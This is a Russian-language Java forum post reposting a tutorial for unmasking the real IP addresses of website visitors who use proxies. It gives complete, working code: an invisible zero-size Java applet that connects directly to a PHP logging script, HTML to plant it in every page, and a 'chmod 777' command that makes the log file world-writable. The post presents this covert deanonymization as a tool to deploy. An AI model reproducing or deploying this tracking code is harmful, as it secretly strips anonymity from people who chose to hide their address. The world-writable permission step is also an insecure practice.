Модераторы: LSD, AntonSaburov
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Определяем реальный IP 
:(
    Опции темы
Azbuka
Дата 12.6.2007, 11:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 20.9.2005

Репутация: нет
Всего: 2



Сегодня мы будем учиться узнавать реальный IP человека за SOCKS/анонимной HTTP/любой другой проксях. Работает это если у него в браузере включена поддержка Java-апплетов (по дефолту в огнелисе и в опере включены !). Апплет будет создавать подключение к специальному скрипту-снифферу через свой сокет, а скрипт на PHP будет логировать его IP. Вот и все пояснения, исходники тут: Апплет IPLog.java (на сервер надо выкладывать скомпиленный байт-код IPLog.class C:>javac IPlog.java - чтобы скомпилить, надо Java SDK или Eclipse Studio)

Код

/**
* IPLog.java
* @author WindEX
*/

import java.applet.*;
import java.io.*;
import java.net.*;

public class IPLog extends Applet {
public void init() {
 setLayout(null);
 String params = "?sess="+getParameter("sess");
 String buff = "";
 int c;
 URL hp;
 try {
  hp = new URL("http", getParameter("host"), 80, getParameter("sniffpath")+params);
  InputStream input = hp.openStream();
  while ((c = input. read()) != -1) {
   buff = buff + (char) c;
  }
  input.close();
 } catch (Exception e1) { buff = "An error occured"; }
 
}
}


ПХП-логгер:
Код


<?php 
$f=Fopen("./result.log","a") or die("ale!!!!!!!!!");
fputs($f,$REMOTE_ADDR."\n");
fputs($f,$QUERY_STRING."\n---------------------\n");
fclose($f);
echo("Your IP logged");
?>


Дальше во все файлы, обращение к которым надо логировать, вставляем (параметр sess - какое-нибудь уникальное значение, необходим для связывания запроса через прокси и реального IP)

Код

&lthtml>
&ltapplet code=IPLog width=0 height=0>
&ltparam name=sess value=(какое-нибудь уникальное значение)>
&ltparam name=host value='yoursite.ru'>
&ltparam name=sniffpath value='/logging/sniff.php'>
</applet>
</html>


И не забудь создать файл result.log и поставить на него необходимые права

Код

$touch result.log;chmod 777 result.log


Автор: WindEX,
Май 2006 г.
http://www.javaportal.ru

Это сообщение отредактировал(а) Azbuka - 12.6.2007, 11:31
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Java"
LSD   AntonSaburov
powerOn   tux
javastic
  • Прежде, чем задать вопрос, прочтите это!
  • Книги по Java собираются здесь.
  • Документация и ресурсы по Java находятся здесь.
  • Используйте теги [code=java][/code] для подсветки кода. Используйтe чекбокс "транслит", если у Вас нет русских шрифтов.
  • Помечайте свой вопрос как решённый, если на него получен ответ. Ссылка "Пометить как решённый" находится над первым постом.
  • Действия модераторов можно обсудить здесь.
  • FAQ раздела лежит здесь.

Если Вам помогли, и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, LSD, AntonSaburov, powerOn, tux, javastic.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Java: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0508 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.